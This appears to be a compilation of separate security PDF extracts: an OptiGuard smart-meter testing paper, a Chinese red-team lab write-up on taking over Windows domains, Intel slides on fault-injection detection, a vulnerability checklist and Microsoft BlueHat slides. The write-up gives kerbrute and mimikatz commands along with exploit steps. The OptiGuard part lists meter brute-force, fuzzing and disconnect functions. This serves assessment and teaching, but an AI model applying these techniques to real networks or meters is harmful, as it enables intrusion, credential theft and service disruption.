2012 Copyright 2012 InGuardians, Inc. Figure 4 Communicating with a Smart Meter using a Optical Probe Meter vendors and utilities already understand the accessibility of a Smart Meter's Optical Port. The ease with which attackers may be able to gain access to meters via this publicly accessible interface causes concern. Security teams and assessment teams need to realize there are several primary risks that the Smart Meter’s security code is designed to protect. The following list details the primary concerns utilities have regarding unauthorized interaction with a Smart Meter's optical port.  Disconnect/Reconnect - residential meters can, and usually do, provide the ability to disconnect and reconnect the meter remotely and via the optical port.  Rate Modification - meter settings can be modified to reduce or increase the electric consumption calculated by the meter.  Attack Platform – attackers may modify the meter to interact with other meters, aggregators, non-AMI networks, and back-end resources.  Brand Impact - Smart Meter deployment and Smart Grid initiatives are directly impacted by public opinion and perception and may be adversely affected by a successful attack. OptiGuard: A Smart Meter Assessment Toolkit 7 July 14, 2012 Copyright 2012 InGuardians, Inc. 3.0 OPTIGUARD Developing tools to communicate with Smart Meters and other AMI components begins with understanding communications standards. Standards associated with Smart Meter communications have been developed by the American National Standards Institute (ANSI) and the International Electrotechnical Commission (IEC). Smart Meters deployed in North America utilize the standards C12.18, C12.21, and C12.22 that define the communications between resources within an AMI solution.5 C12.19 describes a protocol for formatting the standard and manufacturer-based information passed within these communications. Similar details for European Smart Meter interactions are outlined by the standards IEC 62056-21, 62056-53, and 62056-61, among other important IEC 62056 standards.67 The core of the OptiGuard is a collection of Python8 modules designed to provide C12.18 and C12.19 communication and assessment capabilities. The libraries manage the sending and receiving of C12.18 packets and, in limited cases, can parse C12.19 information. A Python-based serial interface is included to provide direct hardware interactions as well as to leverage optical probes used by field technicians (e.g. the Probe-Tec OptoCord USB Optical Probe).9 The tool is not designed to replace vendor software necessary for managing Smart Meters. OptiGuard merely provides C12.18 and C12.19 functionality so that more specialized tools can be developed. Such tools may emulate functionality or produce specific communication events necessary for testing and evaluation. Three communication clients have been included with the OptiGuard toolkit. These clients have been tested with several meters but may need modifications to function properly with all meters depending on the manufacturer and model of the meter. The "c12_18_hw_client.py" script is used to generate correctly formatted C12.18/19 messages and can send the data across hardware pins or data bus connections in specially timed increments. Although the tool can be updated to understand responses, the client currently requires that all responses are captured via a logical analyzer and parsed to determine the contents of the response messages. To assist with parsing this information, the "c12_18_csv_parser.py" tool has been provided to parse and mark C12.18/19 messages captured by a Saleae Logic Analyzer10. The hardware client provides the user with the ability to read and write to all standard and manufacture tables. It also provides the user with the ability to run standard and manufacturer procedures while sending the procedure any amount of data. The following textbox contains the usage data provided by this tool. user$ python c12_18_hw_client.py -h Usage: c12_18_hw_client.py [-h] [-D] [-P <num>] [-f <file>] [-no] -a <action> [-t <num>] [-d <num>] [-p <num>] [-s <data>] [-lp <comma separated list>] -h: print help -D: turn on debugging statements -P <num>: Start pause seconds -a <action>: Perform specific action: test_login read_table: requires -t and table number or defaults to 0 read_decade: requires -d and decade number or defaults to 0 5 http://webstore.ansi.org/RecordDetail.aspx?sku=ANSI+C12.+Smart+Grid+Meter+Package 6 http://webstore.iec.ch/webstore/webstore.nsf/mysearchajax?Openform&key=62056&sorting=&start=1&onglet=1 7 http://en.wikipedia.org/wiki/IEC_62056 8 http://www.python.org/ 9 http://www.probe-tec.com/catalog.htm#OptoCord 10 http://www.saleae.com/ OptiGuard: A Smart Meter Assessment Toolkit 8 July 14, 2012 Copyright 2012 InGuardians, Inc. run_proc: requires -p and procedure number or defaults to 0 -f <file>: select configuration file -t <num>: table number -d <num>: decade number -p <num>: procedure number -s <data>: data for sending -lp <data>: comma separated list of procedure numbers -no: turn off negotiation attempts NOTE: This tool is fire and forget. You will need to monitor the hardware lines with a logic analyzer to determine success and failure or to read data. The second and primary client, "c12_18_optical_client.py," provides the user with a menu-based interface to the full functionality of the OptiGuard toolkit. This client communicates directly with a Smart Meter's optical port using a serial-based optical probe. The optical client functions in a similar manager to the hardware client. C12.18/19 messages are built to be sent to the meter and the meter's responses are received and parsed to determine the message data. Users are provided with the ability to read one or more tables at a time, write data to any table, and run all procedures leveraging any data the users decides to provide. NOTE: Use of the “c12_18_optical_client.py” script REQUIRES a valid C12.18 Security Code of the appropriate security level to make modifications or run procedures11 on correctly configured Smart Meters. The optical client parses several standard tables including the Table 00 (Configuration Table) and Table 01 (General Manufacturer Identification Table). Users are also provided with other testing capabilities, such as brute force authentication, table fuzzing, and meter disconnect/reconnect. The strength of this client is its modularity. Users can easily add new functionality to this client and update the menu to provide access to the new capabilities. The following textbox contains the user menu that is used to interact with Smart Meters via the meter’s Optical Port. user$ python c12_18_optical_client.py ############################################################ ## C12.18 Optical Client - InGuardians, Inc. ## Please review license and Terms of Use before using this software. ############################################################ Start Time: 11:47:55 04/10/12 CDT ########################################## ## 0) Quit ## 1) Test Negotiation Sequence ## 2) Test Logon ## 3) Parse Configuration Table ## 4) Parse General Manufacturer Identification Table ## 5) Read Table ## 6) Read Multiple Tables ## 7) Read Decade ## 8) Run Procedure ## 9) Run Multiple Procedures ## 10) Run Multiple Procedures without login 11 Some meters, usually dependent on meter manufacturer, do not require a valid C12.18 Security Code to read some, non-security related, tables. OptiGuard: A Smart Meter Assessment Toolkit 9 July 14, 2012 Copyright 2012 InGuardians, Inc. ## 11) Write Table ## 12) Brute Force Logon ## 13) Alternate Brute Force Logon (Read Table Verification) ## 14) Fuzz Security code ## 15) Alternate Fuzz Security code ## 16) Read Single Table walking User IDs ## 17) Read Multiple Table walking User IDs ## 18) Write Table 13 Demand Control Table. Table write Proof of Concept only. ## 19) Run Procedure 21 Direct Load Control and set 0 percent load ## 20) Run Procedure 21 Direct Load Control and set 100 percent load ## 21) Toggle Negotiation ## 22) Terminate Session ## 23) Reset Serial ## 24) Toggle Debug ## 25) Toggle Invert ########################################## Enter Action Selection: The third client is the "client_framework.py" script. This script is a dummy client and is designed to be an easy starting point for new users. It provides the basics necessary to begin developing new functionality. This functionality can be moved to the optical client once it has been developed and tested. The following textbox contains the user menu that is used to interact with Smart Meters via the meter’s Optical Port. user$ python client_framework.py ############################################################ ## C12.18 Optical Client - InGuardians, Inc. ## Please review license and Terms of Use before using this software. ############################################################ Start Time: 11:49:31 04/10/12 CDT ########################################## ## 0) Quit ## 1) Read Table ## 2) Toggle Debug ## 3) Toggle Invert ## 4) Toggle Negotiation ## 5) Terminate Session ## 6) Reset Serial ########################################## Enter Action Selection: All of the clients are augmented by configuration file "c12_18_config.txt" and logging functionality. The configuration file is used to store common values, such as C12.18 security codes, and settings. The logging functionality is necessary to document findings and results of testing. A generic "meter_passwd.txt" has also been included and provides the user with an example password file that could be used for brute force authentication testing. Users can build password files by hand or from data dumped from Smart Meter memory components using the "c12_18_extract_keys.py" script. OptiGuard: A Smart Meter Assessment Toolkit 10 July 14, 2012 Copyright 2012 InGuardians, Inc. 4.0 OPTICAL PORT RISK MITIGATIONS Mitigations of the risks posed by a Smart Meter's optical port depend on the capabilities of the utility's overall AMI solution. The following are a few mitigations that are known to exist in several AMI solutions.  Brute Force Authentication - Most meters log authentication attempts. If these logs are collected by the head-end systems they can be used to detect brute force authentication attempts.  Disconnect/Reconnects - Head-end systems can determine the current state of the meter and compare it to the expected state of the meter. Incident response procedures can be developed and implemented to react to unauthorized meter disconnects or reconnects.  Configuration Modifications - Head-end systems can determine the current state of the meter and compare it to the expected state of the meter. Incident response procedures can be developed and implemented to react to unauthorized meter configuration modifications. In addition to these mitigations meter vendors and utilities should consider the following points.  Meter Deployment Considerations - Meters that provide disconnect/reconnect functionality should not be deployed at locations responsible for critical infrastructures (e.g. cellular towers, water pumping stations). Identifying a change in a meter's status can take time which could lead to outages at critical times.  Meter Passwords - Utilities should use more than one authentication password for their meters. It is not generally feasible to generate unique passwords for every meter, which could lead to millions of passwords. Utilities can use several methods to make smaller group passwords such: a different password for residential and commercial meters types, a different password for each vendor, passwords computed using the zip code of a meter, etc.  Secure Password Storage - meter vendors should determine ways to secure passwords stored on the meter and to protect them when being communicated between the meter's hardware components.  Brand Issues - By understanding that attacks can occur on meters and successful modifications will become public knowledge, utilities can prepare statements and responses for the media.  Service Level Agreements - Utilities need to learn to develop and modify service level agreements (SLA) with their AMI vendors to ensure that the vendors are identifying and addressing situations which impact AMI reliability, including security, in a timely manner.  Incident Response Planning - Utilities should develop incident response plans associated with AMI resources. Procedures should be developed , tested, and implemented for identifying and responding to unauthorized meter modifications and meter-centric attacks. Solution vendors can begin this process by documenting incident response scenarios and distributing them with the rest of the solution documentation. OptiGuard: A Smart Meter Assessment Toolkit 11 July 14, 2012 Copyright 2012 InGuardians, Inc. 5.0 CONCLUSION The optical ports of Smart Meters are intended to provide utilities with a safe method to directly manage individual meters. This capability is necessary to ensure the reliability of these increasingly complex and widely distributed devices while also protecting the field technicians servicing the meters. The management software developed and distributed by the meter vendors is intended to enable meter management, only. These tools do not provide methods for testing all situations, fuzzing of data and components, or brute forcing authentication mechanisms, nor should they. A separate class of tools to test unusual use cases is necessary. Flexible tools that can provide communications using the protocols outlined by ANSI C12.18, C12.19, C12.21, C12.22, IEC 62056-21, IEC 62056-53, and IEC 62056-61 are critical to ensure that Smart Grid solutions are reliable, effective, and secure. Tools such as the OptiGuard provide vendors with the ability to test their solutions during development and as new components are integrated into their solutions. These tools also provide utilities and other industries with the capabilities to validate vendor claims, test resource implementations, and determine functionality issues as solutions evolve over time. Open sourcing these tools to security research teams, utility security teams, and embedded device vendors is critical to reducing the costs associated with developing separate tools for the wide variety of AMI solution deployments. The experiences of these separate, and often segregated, testing teams can improve the utility industry’s knowledge base and ensure that all Smart Grid vendors and utilities benefit from the time and efforts devoted to similar, or exact, AMI implementations. OptiGuard: A Smart Meter Assessment Toolkit 12 July 14, 2012 Copyright 2012 InGuardians, Inc. 6.0 ACKNOWLEDGEMENTS InGuardians John Sawyer Tom Liston Matt Carpenter Andrew Righter Joshua Wright Justin Searle Travis Goodspeed Ed Beroset – Elster Solutions, LLC Robert Former – Itron, Inc. Smart Meter and Smart Grid Security staff from various utilities
pdf
前⾔: 由于本次靶场环境L.N.前辈给的权限是直接在内⽹的权限,所以缺少了实战中最艰难且必不可少的⼀ 环,那就是⼊⼝点的获取,以下wp是模拟实战中vpn配置⽂件泄漏导致内⽹沦陷的过程 1⼊⼝点 模拟vpn配置⽂件泄漏,连接后发现分配ip如下 然后我们尝试扫描10.10.0/16段的常规端⼝和banner以及⼀些常⽤漏洞 发现简易脆弱点如下 10.10.22.161 windows rpc调⽤可能存在ssrf 配合401中继 10.10.24.52存在sql注⼊以及main.php⽂件任意写 10.10.22.44 ajp 10.10.22.67 17010 03 x86 10.10.26.151 ajp 最终选择攻击最简单的 通过fb成功上线2003server 然后⽤fgdump抓取03hash 密码没有可以解密成功的 (注意收集本地管理hash和guacadmin的hash) 此时的思路(1、⽤收集到的密码枚举⼀个域内⽤户后 利⽤CVE-2021-1675或者CVE-2021-34527直 接打dc, 或者看看有⽆可打的资源委派 2、尝试1472漏洞 3、GPP) 2golden.eagle.banking 通过kerbrute.exe对收集到的⽤户名和密码进⾏枚举--未能枚举成功 然后发现能通过1472拿下⼦域dc后发现,发现与⽗域存在双向信任关系 3eagle.banking 然后通过sid::add (参考https://mp.weixin.qq.com/s/OHbFhqyLQlx5W2W40PRoLg和haya前辈的 Mimikatz那些鲜为⼈知的功能-1 ) 获取到根域权限,由于USINFDC21.eagle.banking不出⽹ 所以通过link上线 4 island.banking island与eagle内传信任 思路1:枚举上⾯两个域的⽤户 kerbrute.exe userenum --dc 10.10.26.11 -d island.banking c:\programdata\user.txt 结果⼀个⽤户都没有 1 ""privilege::debug"" ""sid::patch"" ""sid::add /sid:S-1-5-21-1836858824-13935542 思路2:通过前期收集的guacadmin打机器(这⾥只⽤guacadmin是因为渗透过程中发现了每台机器的本 地administrator密码都不同) 思路3:-->尝试GPP 并未发现敏感xml⽂件 思路4:由于是内传信任,尝试⽤eagle认证去打island 的打印机 成功拿下island 由于靶标是⾦融敏感数据,刚好员⼯域⾥⾯的domain group ⾥⾯存在财务数据组 此时可以通过UserEvenHunter 或者拖dc 4624⽇志去查看此⽤户组的⽤户平时登陆的机器 这⾥我是拖域⽇志如下发现多个⽤户都是登陆的BFINFFL44这台机器 但是发现这台机器有df,最终bypass上线后发现此机器应该为⾦融组的员⼯共享⼯作机器 最后附上此次⽹络top图
pdf
#BHUSA @BlackHatEvents Tunable Replica Circuit for Fault- Injection Detection Daniel Nemiroff Carlos Tokunaga • Fault‐Injection Attack Basics • Dive into the TRC (Tunable Replica Circuit) • Why and How Intel Integrated the TRC • TRC Calibration and Validation • Conclusions and Productization Non‐Invasive FI Attacks • This briefing covers the fault‐injection   detection circuit, known as the TRC  (tunable replica circuit). • Our focus is non‐invasive FI attacks, where  modification of the package is out of scope,  this includes: • Voltage attacks • Clock attacks • EM (electro‐magnetic radiation) attacks • Thermal attacks Non‐Invasive FI Attacks As they are exposed at the package‐level,  clock and voltage pins are the primary non‐ invasive attack surface. Semi‐Invasive FI Attacks • Lasers are a primary semi‐invasive threat,  because they require a package de‐lid. • However, research shows attacks from the  side of a package can be done, without a  de‐lid. • These attacks are out of scope for this  briefing. To Complete the Circle . . . . . . Invasive Physical Attacks Primary Vehicles: • FIBs, etching, on‐die probing, etc. • Again, out of scope for this briefing, which  is focused on non‐invasive physical  attacks. What is the Attacker is Trying to  Accomplish with FI? • Using FI, a common goal of the attacker is to cause circuit timing to  fail, without causing the platform to crash. • When circuit timing fails, data can be latched too early or too late. • In many cases, latching data early causes 0x00 to be latched. • In the context of a CPU or uC, when glitched at just the right time, an  attack can cause a NOP to be latched, instead of a JMP. • In fixed‐function crypto engines, real keys could be replaced, etc. • In fabrics and busses, I/O devices could latch data or bus addresses  too early/late. Voltage Glitch Impact on Timing Good CLK Data Lines: Undervoltage glitch slows the data down, resulting in a 0b being latched Under‐voltage Glitch Attack NOP JMP Clock Glitch Impact on Timing “Good” Clock Data Lines Good CLK latches a 1b Bad Clock Overclocking Glitch Attack NOP Executed! JMP Executed Question: What would an overclocking waveform look like? • Fault‐Injection Attack Basics • Dive to the TRC (Tunable Replica Circuit) • Why and How Intel Integrated the TRC • TRC Calibration and Validation • Conclusions and Productization • The TRC was designed to mitigate aging in silicon by analyzing circuit timing. • It consists of a launch flip‐flop, a tunable delay chain, and a capture flop.  • The capture flop detects when a signal exits the delay chain at the wrong speed. • Since FI often seeks to induce timing violations, the TRC can help detect FI attacks. D Q CLK D Q CLK check_error nor delay chain inv delay chain error trc_input_clk Configurable delay settings Vnom The TRC (Tunable Replica Circuit) Launch Flop Capture Flop Deeper Dive into TRC Behavior D Q CLK D Q CLK error trc_input_clk TRC Launch FF TRC Capture FF trc_data_ref trc_data_actual trc_input_clk trc_data_ref Slower, due to delay line trc_data_actual (no attack) XOR/error = 0 trc_data_actual (undervoltage attack) XOR/error = 1 Slightly delayed, due to launch flop Low voltage = much slower Capture FF latches the XOR, &  outputs Error here What is the XOR/Error result? What is the XOR/Error result? Why Intel Selected the TRC Traditional FI detection circuits are dedicated analog voltage‐level detectors,  analog clock monitors and thermal sensors, so why did we choose the TRC: 1. The TRC was a proven technology at Intel, analog circuits would be new. 2. The TRC can help detect multiple attacks (clock, voltage, EMFI, temp). 3. The TRC is a digital circuit, easy to port to future process nodes. 4. The TRC is small in die area. Advantages of Traditional Analog FI Sensors: • Precision • Independent Detection of Attacks  The TRC will not detect if both voltage  and clock frequency increase. • Fault‐Injection Attack Basics • Dive to the TRC (Tunable Replica Circuit) • Why and How Intel Integrated of the TRC • TRC Calibration and Validation • Conclusions and Productization What Is CSME?  CSME is an embedded subsystem in Platform Controller Hub (PCH) • Stands for Converged Security & Manageability Engine • Standalone low power Intel processor with dedicated Hardware (HW) CSME is Root of Trust of the platform • Provides an isolated execution environment protected from host SW running on main CPU • Executes CSME Firmware (FW) CPU PCH CSME LAN  WLAN SMBUS  GPIO HECI TRC  Integration  into CSME Details for the CSME‐TRC • The TRC is integrated into the system agent partition of CSME. • The CSME‐TRC monitors the power and clock coming into CSME,  to help protect all portions of CSME from an attack. • When the TRC detects a glitch, it invokes countermeasures that  result in a CSME reset.  The rest of the SoC is not impacted. • The TRC is on the same reset line as all CSME HW, and if CSME is  on, the TRC is monitoring this power. • If CSME is power‐gated, the TRC is also power‐gated. Why Integrate the TRC? • Physical attacks have become cheaper to mount with FI equipment available for  purchase or rent. • Intel views security as an evolutionary process with a roadmap of  incremental and  meaningful countermeasures . . . the TRC is an example of this roadmap. • Additionally, CSME has supported a TCG compliant TPM2.0 HW starting in 2015. • It has been our goal to make this the most capable and feature‐rich TPM2.0 on the  market. • In order to compete with discrete TPM devices, physical attack mitigations, like the  TRC, are required. • Fault‐Injection Attack Basics • Dive to the TRC (Tunable Replica Circuit) • Why and How Intel Integrated of the TRC • TRC Calibration and Validation • Conclusions and Productization Calibrating the TRC to Detect an Attack • Circuits fail timing at a specific point on a Voltage/Frequency curve. • At a fixed frequency, we know what voltage the circuits will fail.   • This point is called vGlitch, calculated using pre and post‐silicon data. vGlitch is global to each product • TRC calibration is the act of converting vGlitch to a TRC delay and fusing that  configuration into silicon. • To ensure the calibration is correct, a sample of parts from multiple process  corners are fused and run through false‐positive and fault‐injection testing. • If any parts fail either test, the recipe is modified, and the process starts over. • Once no failures occur, the calibration determined to be correct and high‐volume  manufacturing can begin. TRC Waveforms and Calibration D Q CLK D Q CLK error trc_input_clk TRC Launch FF TRC Capture FF trc_data_ref trc_data_actual trc_input_clk trc_data_ref This is the Delay, corresponding to vGlitch, that is fused into each part Pop‐Quiz: Identify the Delay that corresponds to vGlitch trc_data_actual How is the Per‐Part vGlitch Delay Found? 1. At first‐silicon we calculate the slope  associated with a Voltage/Delay curve,  common to all parts. 2. In HVM (high‐volume manufacturing) each  part’s TRC outputs to HVM testers the TRC  delay at nominal voltage. 3. Using the Voltage/Delay slope, testers  calculate the TRC delay (for each part) at  vGlitch (using the below equation) and fuse  this into silicon. vGlitchDelay = vNomDelay – (vGlitch / Slope) • (vGlitch / Slope) is a constant • vNomDelay is per‐part data, captured in HVM X‐Axis = Voltage Y‐axis = Delay Value vNom vGlitch Slope vNom Delay vGlitch Delay,   Fused Pop Quiz: What is wrong with the  graph? Delay Decreases, not Increases with  Voltage X‐Axis = Voltage Delay Value vNom vGlitch vNom Delay vGlitch Delay Fault‐Injection Testing FI voltages are driven from a generator for varying  pulse‐widths. The band of red X’s highlights the TRC’s detection  capability.  The region of functionality before the SoC crashes is  where an FI exploit will focus, as the objective is to  change the state of the system without crashing.  It is critical the red X band be present, proving the TRC  is calibrated to detect voltage glitches before they  begin crashing the SoC. As can be seen, in the first pass of testing, the TRC  missed some glitches. TRC Calibration Tuning The TRC failed initial testing; the red X band did not  exist at every glitch length, indicating that the  calibrated delay code was set too low.  To fine tune the calibration we repeated the glitch  scan, schmooing the delay codes.  For a given glitch length, the width of the red X band  was measured and plotted, as shown. The initial delay code was 84. Increasing the delay from 84 to 92 allowed the TRC  to detect glitches in a larger range for a given glitch  length. There was no meaningful detection capability when  going to a delay of 96. • Fault‐Injection Attack Basics • Dive to the TRC (Tunable Replica Circuit) • Why and How Intel Integrated of the TRC • TRC Calibration and Validation • Conclusions and Productization Testing Results and Productization • From these (second pass) results we determined the initial batch of TRCs  were calibrated too conservatively with vGlitch too low. • Accordingly, we modified the value of vGlitch. • New parts were calibrated, fused and (once again) sent through false‐ positive and FI testing.  • This time, the TRC detected attacks at all glitch lengths while recording no  false‐positives. • Based on this data, we locked in this new calibration recipe for all 12th Gen  Intel® Core™ (ADL) silicon and committed the TRC to high‐volume  manufacturing. Riscure Engagement • To further gain confidence in the TRC and gain additional insight into FI testing, we  contracted with Riscure to evaluate the TRC. • We submitted multiple 12th Gen Intel® Core™ parts with the TRC to Riscure for  clock, voltage and EMFI testing. • In the end, Riscure was unable to successfully execute a FI attack against CSME,  concluding, “In all cases the successful glitches were detected by the implemented  countermeasures” Acknowledgements Thanks to the engineers who contributed to the TRC at Intel! • Matias Leonetti  • Swetha Basani  • Parthiv Trivedi • Sivakumar Ramakrishnan • Joseph Friel • Mohamad Faiz Mohd Faridh • Nanda G Kumar Kalavai • Masahide Kakeda • Avinash Varna  • Habib Shawal Source Citations GIF citations: • Slide #3 • Lightning GIF, from ‐ https://an‐crazy.tumblr.com/post/65952328112 • Big Ben GIF, from ‐ https://gifs.alphacoders.com/gifs/view/75109 • Magneto GIF, from ‐ https://media.giphy.com/media/xTiQyrLULEB9EBfAwo/giphy.gif • Fire GIF, from ‐ https://tenor.com/search/louise‐fire‐gifs • Slide #4 • Cat lasers GIF, from ‐ https://www.wearepercolate.com/ • Slide #5: • Will Smith Slap GIF, from ‐ https://www.xavierdegraux.be/ • Slide #6: • Muppet Fire GIF, from ‐ https://tenor.com/search/beaker‐fire‐gifs Legal Disclaimer Intel provides these materials as‐is, with no express or implied warranties.  All products, dates, and figures specified are preliminary, based on current expectations, and are subject to  change without notice.  Intel, processors, chipsets, and desktop boards may contain design defects or errors known as errata, which  may cause the product to deviate from published specifications. Current characterized errata are available on  request.  Intel technologies' features and benefits depend on system configuration and may require enabled hardware,  software or service activation. Performance varies depending on system configuration. No product or  component can be absolutely secure. Check with your system manufacturer or retailer or learn more at  https://www.intel.com.  Some results have been estimated or simulated using internal Intel analysis or architecture simulation or  modeling, and provided to you for informational purposes. Any differences in your system hardware, software  or configuration may affect your actual performance.  Intel and the Intel logo are trademarks of Intel Corporation in the United States and other countries.  *Other names and brands may be claimed as the property of others.  © Intel Corporation
pdf
COMMON VULNERABILITIES COMMON VULNERABILITIES In this document you can find common vulnerabilities that are reported commonly. We believe that verifying this list and fixing these issues or adding it to out of scope ahead of the start of the project might save you some budget! EXCESSIVE INFORMATION LEAKAGE TROUGH ERRORS/STACK TRACES [ Description ] Websites can leak information about internal services in all kinds of ways but most often this happens because of very excessive errors. Usernames, full paths to internal documents are some examples of information leakage. [ Solution ] Turn off all excessive errors or limit their content to a short description of the problem. LOGIN/LOGOUT/NEWSLETTER CSRF [ Description ] This is often reported as best practice but 99% of these reports are harmless and do not describe a real security risk. [ Solution ] Implement a CSRF protection mechanism that applies to all forms and even protects logged out users. This will also protect against CSRF on newsletter subscription forms. 2 1 SSL CERTIFICATE ISSUES [ Description ] Some websites require a specific SSL setup and are intentionally vulnerable to some low severity SSL attacks. Make sure to check your SSL security at the following two sites: https://www.digicert.com/help/ https://www.ssllabs.com/ssltest/ If your company is vulnerable to a very specific SSL attack and you do not want to fix this because the likelihood of such an attack happening is very low make sure to mention this in the program policy. [ Solution ] Make sure that your SSL connection is completely secure, you’ll already get a lot of input from the tests mentioned above. REFERENCES TO INTERNAL SERVICES/IP [ Description ] Make sure that no internal IP/hosts are being disclosed publicly, this often happens in response headers, comment sections in code. Load balancers often inject a comment at the end of an HTML page, make sure this is turned off. [ Solution ] Take a look at where this might occur and then remove it. Not every website deals with this and this is often caused by a third party application, so if you don’t find all leakages, no problem, the researchers will. 4 3 MISSING SECURITY HEADERS [ Description ] A lot of websites lack the proper security headers that trigger the security mechanism that are present in all modern browsers. Take a look at the solution for a list of these headers. [ Solution ] Make sure all security headers are properly configured. Check if the following headers have been implemented: UNNECESSARY HTTP HEADERS [ Description ] It often happens that services/plugins inject their own headers into the HTTP response. Causing sensitive information about your internal services being leaked to the outside world. [ Solution ] Check the headers in the raw HTTP response, if you notice some headers leaking information about an internal service, like X-powered-by, then make the proper changes to remove this header from the HTTP response. 6 5 X-XSS Protection Content-Security-Policy X-Frame-Options Strict-Transport-Security X-Content-Type-Options A lot of these headers will require a specific setup according to how your website is designed. Check https://securityheaders.io/ for detailed information about every security header. If your company had decided not to implement a specific security header, make sure to mention this in your program policy. DEFAULT INSTALLATION FILES STILL ON PRODUCTION SERVER [ Description ] It happens more than often that installed plugins/services have default files that disclose a lot of information, e.g. an install path, version numbers,.. [ Solution ] Check all folders of services/plugins and disallow public access for these default files. WEAK PASSWORD POLICY [ Description ] Some websites still allow users to use very simple passwords like “1234”. [ Solution ] Make sure you force users to use a strong password. Follow the OWASP secure password guidelines to make sure you’re using a good password policy. https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Password_Com- plexity 8 7 DIRECTORY LISTING ENABLED [ Description ] Some old or poor configured webservers tend to list the content of directories, it happens that backups or sensitive files are found this way. [ Solution ] Make sure that directory listing is disabled everywhere, this should be an easy configuration in your webserver. 9 NO SPF, DMARC, DKIM records [ Description ] Since e-mail spoofing is an easy to spread social engineering attacks like phishing, it’s important to setup the proper protection. [ Solution ] In order to secure your company from being spoofed, make sure you have a proper anti e-mail spoofing mechanism. You can do this by setting up SPF, DMARC and DKIM records. NO RATE LIMIT FUNCTIONALITIES [ Description ] If no anti brute force or rate limiting mechanism is implemented in your website, attackers can use wordbook attacks to brute-force their victim’s password, spam other users by requesting lots of password requests etc. [ Solution ] Make sure that all forms that require some kind of secret, mostly a password or pin code, are protected against brute force. For passwords specifically, it’s good to allow 10 attempts and a lockout system that blocks logins for certain accounts for a certain amount of time. (The first time 30 sec, then 60, then 90,..) For a pin code you should only allow a vast amount of attempts, if no valid pin was inserted in the allowed attempts a new one should be generated. 10 11 CODE OF MOBILE APP NOT OBFUSCATED/ENCRYPTED [ Description ] It’s a general best practice to obfuscate and/or encrypt the source code of your mobile app to protect against reverse engineering. [ Solution ] For Android Proguard is a good start: http://developer.android.com/guide/developing/tools/proguard.html https://www.guardsquare.com/en/proguard For IOS: https://www.guardsquare.com/en/ixguard If your company decided not to encrypt and or obfuscate the source code of mobile apps, please mentuon this in your program policy. DATA STORED UNENCRYPTED [ Description ] Developers have multiple reasons to store data on a user’s phone. If there’s any sensitive data being stored on the user’s phone it’s a general best practice to encrypt these files to make sure no third party can ever read them. [ Solution ] Implement an encrypt/decrypt mechanism when writing/reading to/ from local files. 12 13 OUTDATED SOFTWARE [ Description ] A lot of security breaches are caused because of outdated software being used in your website/application. They’re the favorite attack surface for an attacker that tries to find a way into your systems. [ Solution ] Make sure all used services/plugins and all other third party software have been upgraded to a non-vulnerable version, preferably the latest. If you do use an old version of a specific service and can’t upgrade contact the vendor to check with them what the best solution could be. 14 [ letstalk@intigriti.be ] [ www.intigriti.be ]
pdf
欢迎参加 BlueHat Shanghai Eric Doerr 微软安全响应中心总经理 @edoerr May 30, 2019 2019 年,中国的安全研究员是微软漏洞赏金 计划中成果最多,影响力最大的贡献者 增长 57% 来自中国的漏 洞赏金计划参 与者 46% 来自中国的漏 洞赏金计划提 交成果 2018 vs 2019 影响力 中国,48% 全球,52% 漏洞赏金计划奖金 中国,22% 全球,78% 符合漏洞赏金计划要求的提交 2018 vs 2019 侧重点 2019 所提交漏洞类型的划分 内存安全问题 56% 信息泄露 15% 微软漏洞赏金计划 Microsoft Office Insider Microsoft .NET Core 和 ASP.Net Core Microsoft Edge Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper- V Microsoft Office Insider Microsoft .NET Core 和 ASP.Net Core Microsoft Edge 提交数增加 75% Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview 提交数增加 40% Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper-V 提交数增加 50% 微软漏洞赏金计划 9 致谢 来自中国的安全研究人员和合作公 司已经证明了自己的技术实力,帮 助我们一起在 2019 保护广大的用 户和整个安全生态圈。 一些历史回顾…… 围绕安全投入的漫长历史 90 年代至 2010年 1998 MSRC 创立 2002 Bill Gates 可信计算备忘录 2003 Visual Studio 中的 缓冲区溢出保护 适用于 XP 和 Server 2003 的 Windows Defender 2004 安全开发生命 周期(SDL) XP SP2 提供 数据执行保护 (DEP) 2005 首届 BlueHat 2006 BitLocker 伴 随 Windows Vista 发布 2007 地址空间布局随 机化(ASLR) 伴随 Vista 发布 2009 AppLocker 伴随 Windows 7 发布 围绕安全投入的漫长历史 2010 年至今 2013 微软发起 首个漏洞 赏金计划 数字安全 中心成立 2014 控制流防 护(CFG) 伴随 Window s 8.1 发 布 2015 Office ATP (高级威胁防 护)发布 微软高级威胁 分析(ATA) 发布 网络防御运营 中心成立 2016 微软云应用安 全服务 发布 Azure 安全 中心(ASC) 发布 Defender ATP 发布 2017 Credenti al Guard 伴随 Win 10 发布 Defender Exploit Guard 发 布 2018 Azure ATP 发布 FIDO2 免密 码登录 Microsoft Secure Score 发布 2019 Azure Sentinel 在 RSA 发布 Microsoft Threat Experts 发布 首届 BlueHat Shanghai CVE-2019-0708 范例 对安全的关注和投入在新版 Windows 中获得了回报 • 漏洞:远程显示协议中的 身份验证前 UAF( Use After Free ) • Win8、Server 2012、 Win10 不受影响 • 为“结束支持”的 XP、 Win7 和 Server 2003 发布了补丁 微软的未来 变得数字化 到 2020 年时,标 准普尔 500 公司 的平均年龄会达到 12 岁 50% 的标普 500 公司将在 2026年 被取代 1 百万/小时 到 2020 年,新 设备的上线速度 60% 计算能力 到 2025 年将通过 云平台提供 为了不落后于时代, 每个组织都必须成 为软件公司 微软云 应用程序创新 业务应用 安全和管理 数据 人工智能和机器 学习 生产力 Power BI 高级威胁防护 安全中心 认知服务 机器学习 Azure:全球规模 超过95% 的世界500强公司使用 Azure 开发者是每个公司业务创新的 核心 最多贡献者 2018 年 11 亿人 最多开发者 3600 万人 增速最快 2018 年新增开发者 800 万人 最多代码库 9600 万个 最活跃 每天 2 亿 Pull 请求,8 亿 API 请求 最多学生 110 万人 最多组织 220 万个 最安全 2018 年 500 万个弱点警报 MSR 北京 MSR 剑桥 MSR 雷德蒙德 MSR 蒙特利尔 MSR 新英格兰 MSR 纽约 由微软突破性的研发成果推动前进 RESNET 视觉测试 96% Switchboard 测试 94.9% Stanford CoQA 测试 89.4% MT Research 系统 69.9% 配合 Intel Stratix 10 实现 39.5 Teraflops MSR 印度 MSR 上海 近似于人类的机器翻译 能力 近似于人类的对象检 测能力 